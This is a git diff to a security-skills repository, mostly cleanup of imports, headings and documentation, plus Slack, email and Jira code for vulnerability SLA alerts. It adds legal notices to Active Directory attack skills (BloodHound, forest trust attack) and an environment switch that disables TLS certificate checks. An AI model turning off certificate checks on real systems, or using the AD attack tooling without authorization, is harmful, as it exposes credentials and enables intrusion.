a/skills/implementing-vulnerability-remediation-sla/scripts/agent.py +++ b/skills/implementing-vulnerability-remediation-sla/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Vulnerability remediation SLA tracking.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-vulnerability-sla-breach-alerting/SKILL.md b/skills/implementing-vulnerability-sla-breach-alerting/SKILL.md index 82f34d07..2ca3ac1e 100644 --- a/skills/implementing-vulnerability-sla-breach-alerting/SKILL.md +++ b/skills/implementing-vulnerability-sla-breach-alerting/SKILL.md @@ -96,7 +96,7 @@ alert_schedules: escalation_increase: true ``` -## Implementation Steps +## Workflow ### Step 1: Database Schema for SLA Tracking diff --git a/skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md b/skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md index 758e2543..27bf1514 100644 --- a/skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md +++ b/skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md @@ -1,29 +1,201 @@ -# API Reference: Vulnerability SLA breach alerting agent +# API Reference: Vulnerability SLA Breach Alerting -## API Details -SLA calculation, SMTP notification, Slack webhook, Jira ticket creation +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | Slack webhook and Jira API integration | +| `smtplib` | Send email alerts for SLA breaches | +| `json` | Parse vulnerability and SLA data | +| `datetime` | Calculate SLA deadlines and breach timing | +| `email.mime.text` | Compose HTML email notifications | ## Installation + ```bash -pip install requests smtplib datetime +pip install requests ``` -## Libraries +## Alert Channels -| Library | Use | -|---------|-----| -| `requests` | requests client/SDK | -| `smtplib` | smtplib client/SDK | -| `datetime` | datetime client/SDK | +### Slack Webhook Alert +```python +import requests +import os -## Authentication +SLACK_WEBHOOK = os.environ["SLACK_WEBHOOK_URL"] -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +def send_slack_alert(breaches): + blocks = [ + { + "type": "header", + "text": {"type": "plain_text", "text": "SLA Breach Alert"} + }, + { + "type": "section", + "text": { + "type": "mrkdwn", + "text": f"*{len(breaches)} vulnerabilities have breached SLA*", + } + }, + ] + for breach in breaches[:10]: + blocks.append({ + "type": "section", + "text": { + "type": "mrkdwn", + "text": ( + f"*{breach['cve']}* — {breach['severity'].upper()}\n" + f"Host: `{breach['host']}` | Overdue: {breach['hours_overdue']}h\n" + f"Owner: {breach.get('owner', 'Unassigned')}" + ), + } + }) + + resp = requests.post( + SLACK_WEBHOOK, + json={"blocks": blocks}, + timeout=10, + ) + return resp.status_code == 200 +``` + +### Email Alert (SMTP) +```python +import smtplib +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart + +def send_email_alert(breaches, recipients): + smtp_host = os.environ["SMTP_HOST"] + smtp_port = int(os.environ.get("SMTP_PORT", "587")) + smtp_user = os.environ["SMTP_USER"] + smtp_pass = os.environ["SMTP_PASS"] + + msg = MIMEMultipart("alternative") + msg["Subject"] = f"SLA Breach: {len(breaches)} vulnerabilities overdue" + msg["From"] = smtp_user + msg["To"] = ", ".join(recipients) + + html = "

SLA Breach Report

" + html += "" + for b in breaches: + html += f"" + html += f"" + html += "
CVESeverityHostHours Overdue
{b['cve']}{b['severity']}{b['host']}{b['hours_overdue']}
" + + msg.attach(MIMEText(html, "html")) + + with smtplib.SMTP(smtp_host, smtp_port) as server: + server.starttls() + server.login(smtp_user, smtp_pass) + server.sendmail(smtp_user, recipients, msg.as_string()) +``` + +### Jira Ticket Creation +```python +JIRA_URL = os.environ["JIRA_URL"] +JIRA_AUTH = (os.environ["JIRA_USER"], os.environ["JIRA_TOKEN"]) + +def create_jira_ticket(breach): + ticket = { + "fields": { + "project": {"key": os.environ.get("JIRA_PROJECT", "VULN")}, + "summary": f"SLA Breach: {breach['cve']} on {breach['host']}", + "description": ( + f"Vulnerability {breach['cve']} ({breach['severity']}) " + f"has breached its remediation SLA.\n\n" + f"Host: {breach['host']}\n" + f"Hours overdue: {breach['hours_overdue']}\n" + f"Discovery date: {breach['discovery_date']}\n" + f"SLA deadline: {breach['deadline']}\n\n" + f"Required action: Remediate immediately." + ), + "issuetype": {"name": "Bug"}, + "priority": {"name": "Highest" if breach["severity"] == "critical" else "High"}, + "labels": ["sla-breach", "security", breach["severity"]], + } + } + resp = requests.post( + f"{JIRA_URL}/rest/api/2/issue", + auth=JIRA_AUTH, + json=ticket, + timeout=30, + ) + resp.raise_for_status() + return resp.json()["key"] +``` + +## SLA Breach Detection + +```python +from datetime import datetime, timedelta + +SLA_TIERS = { + "critical": timedelta(hours=24), + "high": timedelta(hours=72), + "medium": timedelta(days=30), + "low": timedelta(days=90), +} + +def detect_breaches(vulnerabilities): + breaches = [] + now = datetime.now() + for vuln in vulnerabilities: + if vuln.get("remediated"): + continue + discovery = datetime.fromisoformat(vuln["discovery_date"]) + sla = SLA_TIERS.get(vuln["severity"].lower(), timedelta(days=90)) + deadline = discovery + sla + if now > deadline: + breaches.append({ + **vuln, + "deadline": deadline.isoformat(), + "hours_overdue": round((now - deadline).total_seconds() / 3600, 1), + }) + return sorted(breaches, key=lambda b: b["hours_overdue"], reverse=True) +``` + +## Orchestration + +```python +def run_sla_breach_alerting(vulnerabilities): + breaches = detect_breaches(vulnerabilities) + if not breaches: + return {"breaches": 0, "alerts_sent": False} + + # Send alerts through all channels + send_slack_alert(breaches) + send_email_alert(breaches, os.environ.get("ALERT_RECIPIENTS", "").split(",")) + + # Create Jira tickets for critical/high breaches only + for breach in breaches: + if breach["severity"] in ("critical", "high"): + create_jira_ticket(breach) + + return {"breaches": len(breaches), "alerts_sent": True} +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "run_time": "2025-01-15T10:00:00Z", + "breaches_detected": 5, + "alerts": { + "slack": true, + "email": true, + "jira_tickets_created": 3 + }, + "breaches": [ + { + "cve": "CVE-2024-21887", + "severity": "critical", + "host": "web-prod-01", + "hours_overdue": 48.5, + "deadline": "2025-01-13T10:00:00", + "owner": "platform-team" + } + ] +} ``` diff --git a/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py b/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py index 2d12725d..d5cf3d53 100644 --- a/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py +++ b/skills/implementing-vulnerability-sla-breach-alerting/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Vulnerability SLA breach alerting agent.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-web-application-logging-with-modsecurity/scripts/agent.py b/skills/implementing-web-application-logging-with-modsecurity/scripts/agent.py index 2eb6adea..c7e5f82e 100644 --- a/skills/implementing-web-application-logging-with-modsecurity/scripts/agent.py +++ b/skills/implementing-web-application-logging-with-modsecurity/scripts/agent.py @@ -2,7 +2,6 @@ """ModSecurity WAF audit log analysis and rule tuning agent.""" import json -import sys import argparse import re from datetime import datetime diff --git a/skills/implementing-zero-knowledge-proof-for-authentication/scripts/agent.py b/skills/implementing-zero-knowledge-proof-for-authentication/scripts/agent.py index 28fe1a1d..20412a84 100644 --- a/skills/implementing-zero-knowledge-proof-for-authentication/scripts/agent.py +++ b/skills/implementing-zero-knowledge-proof-for-authentication/scripts/agent.py @@ -5,7 +5,6 @@ import hashlib import secrets import json import argparse -import sys from datetime import datetime diff --git a/skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md b/skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md index e7f0facc..bd8a6885 100644 --- a/skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md +++ b/skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md @@ -71,7 +71,7 @@ User requests access via CyberArk | Endpoint Privilege Manager | Controls local admin and app elevation | | Privileged Session Manager | Records and monitors privileged sessions | -## Implementation Steps +## Workflow ### Step 1: Integrate Cloud Providers diff --git a/skills/implementing-zero-standing-privilege-with-cyberark/scripts/agent.py b/skills/implementing-zero-standing-privilege-with-cyberark/scripts/agent.py index d4c26ac2..23112690 100644 --- a/skills/implementing-zero-standing-privilege-with-cyberark/scripts/agent.py +++ b/skills/implementing-zero-standing-privilege-with-cyberark/scripts/agent.py @@ -1,10 +1,10 @@ #!/usr/bin/env python3 """Agent for auditing CyberArk Zero Standing Privilege (ZSP) configuration via REST API.""" +import os import requests import json import argparse -import sys from datetime import datetime, timezone import urllib3 @@ -15,7 +15,7 @@ def authenticate(base_url, username, password, auth_method="CyberArk"): """Authenticate to CyberArk PVWA and obtain session token.""" url = f"{base_url}/api/auth/{auth_method}/Logon" payload = {"username": username, "password": password} - resp = requests.post(url, json=payload, verify=False, timeout=30) + resp = requests.post(url, json=payload, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() token = resp.json().strip('"') print(f"[*] Authenticated to CyberArk PVWA as {username}") @@ -25,7 +25,7 @@ def authenticate(base_url, username, password, auth_method="CyberArk"): def list_safes(base_url, headers): """List all safes to audit access policies.""" url = f"{base_url}/api/Safes" - resp = requests.get(url, headers=headers, verify=False, timeout=30) + resp = requests.get(url, headers=headers, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() safes = resp.json().get("value", []) print(f"[*] Found {len(safes)} safes") @@ -37,7 +37,7 @@ def list_safes(base_url, headers): def audit_safe_members(base_url, headers, safe_name): """Audit members and permissions of a specific safe.""" url = f"{base_url}/api/Safes/{safe_name}/Members" - resp = requests.get(url, headers=headers, verify=False, timeout=30) + resp = requests.get(url, headers=headers, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() members = resp.json().get("value", []) findings = [] @@ -57,7 +57,7 @@ def audit_safe_members(base_url, headers, safe_name): def list_platforms(base_url, headers): """List platforms to verify JIT/ZSP configuration.""" url = f"{base_url}/api/Platforms" - resp = requests.get(url, headers=headers, verify=False, timeout=30) + resp = requests.get(url, headers=headers, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() platforms = resp.json().get("Platforms", []) print(f"[*] Found {len(platforms)} platforms") @@ -70,7 +70,7 @@ def list_platforms(base_url, headers): def check_jit_sessions(base_url, headers, days=7): """Check recent privileged sessions for JIT compliance.""" url = f"{base_url}/api/LiveSessions" - resp = requests.get(url, headers=headers, verify=False, timeout=30) + resp = requests.get(url, headers=headers, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() sessions = resp.json().get("LiveSessions", []) print(f"[*] Active privileged sessions: {len(sessions)}") @@ -91,7 +91,7 @@ def audit_accounts_standing_access(base_url, headers): """Find privileged accounts with standing (non-JIT) access enabled.""" url = f"{base_url}/api/Accounts" params = {"limit": 100, "offset": 0} - resp = requests.get(url, headers=headers, params=params, verify=False, timeout=30) + resp = requests.get(url, headers=headers, params=params, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() accounts = resp.json().get("value", []) findings = [] diff --git a/skills/implementing-zero-trust-dns-with-nextdns/scripts/agent.py b/skills/implementing-zero-trust-dns-with-nextdns/scripts/agent.py index 00f2503a..56aa105a 100644 --- a/skills/implementing-zero-trust-dns-with-nextdns/scripts/agent.py +++ b/skills/implementing-zero-trust-dns-with-nextdns/scripts/agent.py @@ -4,7 +4,6 @@ import requests import json import argparse -import sys from datetime import datetime, timezone NEXTDNS_API = "https://api.nextdns.io" diff --git a/skills/implementing-zero-trust-in-cloud/scripts/agent.py b/skills/implementing-zero-trust-in-cloud/scripts/agent.py index 919b3cdc..38480fa2 100644 --- a/skills/implementing-zero-trust-in-cloud/scripts/agent.py +++ b/skills/implementing-zero-trust-in-cloud/scripts/agent.py @@ -2,7 +2,6 @@ """Zero trust cloud architecture assessment agent using AWS, Azure, and GCP SDKs.""" import json -import sys import argparse from datetime import datetime @@ -13,14 +12,11 @@ except ImportError: boto3 = None try: - from azure.identity import DefaultAzureCredential - from azure.mgmt.authorization import AuthorizationManagementClient HAS_AZURE = True except ImportError: HAS_AZURE = False try: - from google.cloud import compute_v1 HAS_GCP = True except ImportError: HAS_GCP = False diff --git a/skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md b/skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md index a80fc7c0..72941373 100644 --- a/skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md +++ b/skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md @@ -68,7 +68,7 @@ Logical groupings of App Connectors that serve specific application segments, en ### Browser Access ZPA supports clientless browser-based access for web applications, enabling ZTNA for unmanaged devices and third-party users without requiring the Client Connector. -## Procedure +## Workflow ### Phase 1: Foundation Setup diff --git a/skills/implementing-zero-trust-network-access-with-zscaler/scripts/agent.py b/skills/implementing-zero-trust-network-access-with-zscaler/scripts/agent.py index f7536edd..aff5d360 100644 --- a/skills/implementing-zero-trust-network-access-with-zscaler/scripts/agent.py +++ b/skills/implementing-zero-trust-network-access-with-zscaler/scripts/agent.py @@ -1,12 +1,13 @@ #!/usr/bin/env python3 """Agent for auditing Zscaler Private Access (ZPA) zero trust configuration via API.""" -import requests -import json import argparse +import json +import os +import requests from datetime import datetime, timezone -ZPA_BASE = "https://config.private.zscaler.com" +ZPA_BASE = os.environ.get("ZPA_BASE_URL", "https://config.private.zscaler.com") def authenticate(client_id, client_secret, customer_id): diff --git a/skills/implementing-zero-trust-with-beyondcorp/scripts/agent.py b/skills/implementing-zero-trust-with-beyondcorp/scripts/agent.py index 15fbe491..5c61d983 100644 --- a/skills/implementing-zero-trust-with-beyondcorp/scripts/agent.py +++ b/skills/implementing-zero-trust-with-beyondcorp/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import logging import subprocess -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") diff --git a/skills/implementing-zero-trust-with-hashicorp-boundary/scripts/agent.py b/skills/implementing-zero-trust-with-hashicorp-boundary/scripts/agent.py index 1ab4d65a..57fcc90b 100644 --- a/skills/implementing-zero-trust-with-hashicorp-boundary/scripts/agent.py +++ b/skills/implementing-zero-trust-with-hashicorp-boundary/scripts/agent.py @@ -1,10 +1,10 @@ #!/usr/bin/env python3 """Agent for auditing HashiCorp Boundary zero trust access configuration.""" +import os import subprocess import json import argparse -import sys from datetime import datetime, timezone @@ -12,7 +12,7 @@ def run_boundary_cmd(args_list, addr, token): """Execute a boundary CLI command and return parsed JSON.""" env_vars = {"BOUNDARY_ADDR": addr, "BOUNDARY_TOKEN": token} cmd = ["boundary"] + args_list + ["-format=json"] - result = subprocess.run(cmd, capture_output=True, text=True, env={**dict(__import__('os').environ), **env_vars}, timeout=30) + result = subprocess.run(cmd, capture_output=True, text=True, env={**dict(os.environ), **env_vars}, timeout=30) if result.returncode != 0: print(f" [-] Error: {result.stderr.strip()[:200]}") return {} diff --git a/skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/agent.py b/skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/agent.py index 82d279f8..98ca61e2 100644 --- a/skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/agent.py +++ b/skills/integrating-dast-with-owasp-zap-in-pipeline/scripts/agent.py @@ -6,7 +6,6 @@ import json import argparse import sys import os -from datetime import datetime def run_baseline_scan(target_url, output_dir): diff --git a/skills/integrating-sast-into-github-actions-pipeline/scripts/agent.py b/skills/integrating-sast-into-github-actions-pipeline/scripts/agent.py index 374666b8..682afa9e 100644 --- a/skills/integrating-sast-into-github-actions-pipeline/scripts/agent.py +++ b/skills/integrating-sast-into-github-actions-pipeline/scripts/agent.py @@ -6,7 +6,6 @@ import json import argparse import sys import os -from datetime import datetime def run_semgrep_scan(target_dir, config="auto", output_format="json"): diff --git a/skills/intercepting-mobile-traffic-with-burpsuite/scripts/agent.py b/skills/intercepting-mobile-traffic-with-burpsuite/scripts/agent.py index 16009406..6725f9b9 100644 --- a/skills/intercepting-mobile-traffic-with-burpsuite/scripts/agent.py +++ b/skills/intercepting-mobile-traffic-with-burpsuite/scripts/agent.py @@ -3,8 +3,6 @@ import json import argparse -import sys -import os import re from datetime import datetime from urllib.parse import urlparse diff --git a/skills/investigating-insider-threat-indicators/scripts/agent.py b/skills/investigating-insider-threat-indicators/scripts/agent.py index 4a11a6ae..babaac02 100644 --- a/skills/investigating-insider-threat-indicators/scripts/agent.py +++ b/skills/investigating-insider-threat-indicators/scripts/agent.py @@ -10,7 +10,7 @@ import hashlib import json import os import sys -from datetime import datetime, timezone, timedelta +from datetime import datetime, timezone def load_dlp_alerts(filepath: str) -> list[dict]: diff --git a/skills/managing-intelligence-lifecycle/scripts/agent.py b/skills/managing-intelligence-lifecycle/scripts/agent.py index 741e06eb..5275f8f1 100644 --- a/skills/managing-intelligence-lifecycle/scripts/agent.py +++ b/skills/managing-intelligence-lifecycle/scripts/agent.py @@ -8,7 +8,7 @@ tracking PIRs, collection sources, and intelligence product metrics. import json import os import sys -from datetime import datetime, timezone, timedelta +from datetime import datetime, timezone def load_intelligence_requirements(filepath: str) -> list[dict]: diff --git a/skills/monitoring-darkweb-sources/scripts/agent.py b/skills/monitoring-darkweb-sources/scripts/agent.py index 54471c71..7fb86ce9 100644 --- a/skills/monitoring-darkweb-sources/scripts/agent.py +++ b/skills/monitoring-darkweb-sources/scripts/agent.py @@ -7,7 +7,6 @@ organizational asset mentions using commercial APIs and OSINT tools. import json import os -import re import sys from datetime import datetime, timezone diff --git a/skills/performing-access-recertification-with-saviynt/SKILL.md b/skills/performing-access-recertification-with-saviynt/SKILL.md index 4de955b4..8b0a26f4 100644 --- a/skills/performing-access-recertification-with-saviynt/SKILL.md +++ b/skills/performing-access-recertification-with-saviynt/SKILL.md @@ -68,7 +68,7 @@ CONFIGURATION → PREVIEW → ACTIVE → IN PROGRESS → COMPLETED → REMEDIATI └── Campaign parameters defined ``` -## Implementation Steps +## Workflow ### Step 1: Configure Campaign Template diff --git a/skills/performing-access-recertification-with-saviynt/scripts/agent.py b/skills/performing-access-recertification-with-saviynt/scripts/agent.py index eb7fbaeb..a49b3012 100644 --- a/skills/performing-access-recertification-with-saviynt/scripts/agent.py +++ b/skills/performing-access-recertification-with-saviynt/scripts/agent.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 """Agent for managing Saviynt access recertification campaigns via REST API.""" +import os import requests import json import argparse @@ -14,7 +15,7 @@ def authenticate(base_url, username, password): """Authenticate to Saviynt EIC and get OAuth token.""" url = f"{base_url}/ECM/api/login" payload = {"username": username, "password": password} - resp = requests.post(url, json=payload, verify=False, timeout=30) + resp = requests.post(url, json=payload, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() token = resp.json().get("access_token") print(f"[*] Authenticated to Saviynt EIC") @@ -25,7 +26,7 @@ def list_campaigns(base_url, headers, status="active"): """List certification campaigns.""" url = f"{base_url}/ECM/api/v5/listCertification" payload = {"certificationstatus": status, "max": 50, "offset": 0} - resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp = requests.post(url, headers=headers, json=payload, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() campaigns = resp.json().get("certifications", []) print(f"\n[*] Campaigns ({status}): {len(campaigns)}") @@ -39,7 +40,7 @@ def get_campaign_details(base_url, headers, cert_key): """Get detailed campaign status including item counts.""" url = f"{base_url}/ECM/api/v5/getCertificationDetails" payload = {"certkey": cert_key} - resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp = requests.post(url, headers=headers, json=payload, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() details = resp.json() total = details.get("totalitems", 0) @@ -55,7 +56,7 @@ def get_pending_items(base_url, headers, cert_key, max_items=100): """Get items pending review in a certification campaign.""" url = f"{base_url}/ECM/api/v5/getCertificationItems" payload = {"certkey": cert_key, "status": "pending", "max": max_items, "offset": 0} - resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp = requests.post(url, headers=headers, json=payload, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() items = resp.json().get("certificationitems", []) print(f"\n[*] Pending items: {len(items)}") @@ -72,7 +73,7 @@ def certify_items(base_url, headers, cert_key, item_ids, action="certify"): url = f"{base_url}/ECM/api/v5/certifyItems" payload = {"certkey": cert_key, "itemids": item_ids, "action": action, "comments": f"Auto-{action} by recertification agent"} - resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp = requests.post(url, headers=headers, json=payload, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() print(f"[*] {action.capitalize()}d {len(item_ids)} items in campaign {cert_key}") return resp.json() @@ -82,7 +83,7 @@ def check_overdue_campaigns(base_url, headers): """Find campaigns past their due date.""" url = f"{base_url}/ECM/api/v5/listCertification" payload = {"certificationstatus": "active", "max": 200, "offset": 0} - resp = requests.post(url, headers=headers, json=payload, verify=False, timeout=30) + resp = requests.post(url, headers=headers, json=payload, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() campaigns = resp.json().get("certifications", []) now = datetime.now(timezone.utc) diff --git a/skills/performing-access-review-and-certification/SKILL.md b/skills/performing-access-review-and-certification/SKILL.md index c4f7ec83..d19b5546 100644 --- a/skills/performing-access-review-and-certification/SKILL.md +++ b/skills/performing-access-review-and-certification/SKILL.md @@ -44,7 +44,7 @@ Conduct systematic access reviews and certifications to ensure users have approp 6. **Reporting**: Generate compliance evidence and metrics 7. **Closure**: Archive campaign, feed findings into next cycle -## Implementation Steps +## Workflow ### Step 1: Define Review Scope and Schedule - Identify in-scope applications and systems diff --git a/skills/performing-access-review-and-certification/scripts/agent.py b/skills/performing-access-review-and-certification/scripts/agent.py index c619a687..a3981bf3 100644 --- a/skills/performing-access-review-and-certification/scripts/agent.py +++ b/skills/performing-access-review-and-certification/scripts/agent.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """Agent for conducting access review and certification using identity governance APIs.""" -import requests import json import argparse import csv diff --git a/skills/performing-active-directory-bloodhound-analysis/SKILL.md b/skills/performing-active-directory-bloodhound-analysis/SKILL.md index 51f1dc75..691581f3 100644 --- a/skills/performing-active-directory-bloodhound-analysis/SKILL.md +++ b/skills/performing-active-directory-bloodhound-analysis/SKILL.md @@ -23,6 +23,9 @@ BloodHound is an open-source Active Directory reconnaissance tool that uses grap - Neo4j database (Legacy) or PostgreSQL (CE) - Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636) + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## MITRE ATT&CK Mapping | Technique ID | Name | Tactic | diff --git a/skills/performing-active-directory-bloodhound-analysis/scripts/agent.py b/skills/performing-active-directory-bloodhound-analysis/scripts/agent.py index b81bd274..504f48ee 100644 --- a/skills/performing-active-directory-bloodhound-analysis/scripts/agent.py +++ b/skills/performing-active-directory-bloodhound-analysis/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """BloodHound Attack Path Analysis Agent - Queries Neo4j for AD attack paths to Domain Admin.""" import json diff --git a/skills/performing-active-directory-compromise-investigation/scripts/agent.py b/skills/performing-active-directory-compromise-investigation/scripts/agent.py index 352047ca..ece6080e 100644 --- a/skills/performing-active-directory-compromise-investigation/scripts/agent.py +++ b/skills/performing-active-directory-compromise-investigation/scripts/agent.py @@ -5,7 +5,6 @@ Kerberoasting, and lateral movement.""" import argparse import json -import sys from collections import Counter, defaultdict from datetime import datetime from pathlib import Path diff --git a/skills/performing-active-directory-forest-trust-attack/SKILL.md b/skills/performing-active-directory-forest-trust-attack/SKILL.md index 9e7371ee..ec536977 100644 --- a/skills/performing-active-directory-forest-trust-attack/SKILL.md +++ b/skills/performing-active-directory-forest-trust-attack/SKILL.md @@ -22,6 +22,9 @@ Active Directory forest trusts enable authentication across organizational bound - Network access to Domain Controllers (ports 389, 445, 88) - Authorized penetration testing engagement or lab environment + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Steps 1. Enumerate forest trust relationships via LDAP trusted domain objects diff --git a/skills/performing-active-directory-forest-trust-attack/scripts/agent.py b/skills/performing-active-directory-forest-trust-attack/scripts/agent.py index 8a3ae8f6..28434bdb 100644 --- a/skills/performing-active-directory-forest-trust-attack/scripts/agent.py +++ b/skills/performing-active-directory-forest-trust-attack/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for AD forest trust enumeration and security assessment using impacket.""" import json @@ -9,7 +12,6 @@ try: from impacket.dcerpc.v5 import transport, lsat, lsad from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.samr import SID_NAME_USE - from impacket.smbconnection import SMBConnection except ImportError: transport = None diff --git a/skills/performing-active-directory-vulnerability-assessment/scripts/agent.py b/skills/performing-active-directory-vulnerability-assessment/scripts/agent.py index cbb4b37c..ec6be053 100644 --- a/skills/performing-active-directory-vulnerability-assessment/scripts/agent.py +++ b/skills/performing-active-directory-vulnerability-assessment/scripts/agent.py @@ -5,10 +5,9 @@ common vulnerability categories.""" import argparse import json -import sys import xml.etree.ElementTree as ET from collections import Counter -from datetime import datetime, timedelta +from datetime import datetime from pathlib import Path try: diff --git a/skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md b/skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md index 6e20638f..bbe522ac 100644 --- a/skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md +++ b/skills/performing-adversary-in-the-middle-phishing-detection/SKILL.md @@ -47,7 +47,7 @@ Adversary-in-the-Middle (AiTM) phishing attacks use reverse-proxy infrastructure - CDN requests to legitimate auth providers from phishing domains - Impossible travel between authentication and session usage -## Implementation Steps +## Workflow ### Step 1: Deploy Phishing-Resistant MFA - Implement FIDO2 security keys or Windows Hello for Business for high-value accounts diff --git a/skills/performing-adversary-in-the-middle-phishing-detection/scripts/agent.py b/skills/performing-adversary-in-the-middle-phishing-detection/scripts/agent.py index 6f85d970..41ab9ae7 100644 --- a/skills/performing-adversary-in-the-middle-phishing-detection/scripts/agent.py +++ b/skills/performing-adversary-in-the-middle-phishing-detection/scripts/agent.py @@ -5,9 +5,8 @@ proxying authentication sessions.""" import argparse import json -import sys from collections import Counter, defaultdict -from datetime import datetime, timedelta +from datetime import datetime from pathlib import Path from math import radians, cos, sin, asin, sqrt diff --git a/skills/performing-agentless-vulnerability-scanning/SKILL.md b/skills/performing-agentless-vulnerability-scanning/SKILL.md index c5c346d0..fdf32b11 100644 --- a/skills/performing-agentless-vulnerability-scanning/SKILL.md +++ b/skills/performing-agentless-vulnerability-scanning/SKILL.md @@ -56,7 +56,7 @@ Agentless vulnerability scanning assesses systems for security weaknesses withou 6. Results sent to central management console ``` -## Implementation Steps +## Workflow ### Step 1: SSH-Based Agentless Scanning (Linux) diff --git a/skills/performing-ai-driven-osint-correlation/LICENSE b/skills/performing-ai-driven-osint-correlation/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/performing-ai-driven-osint-correlation/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the 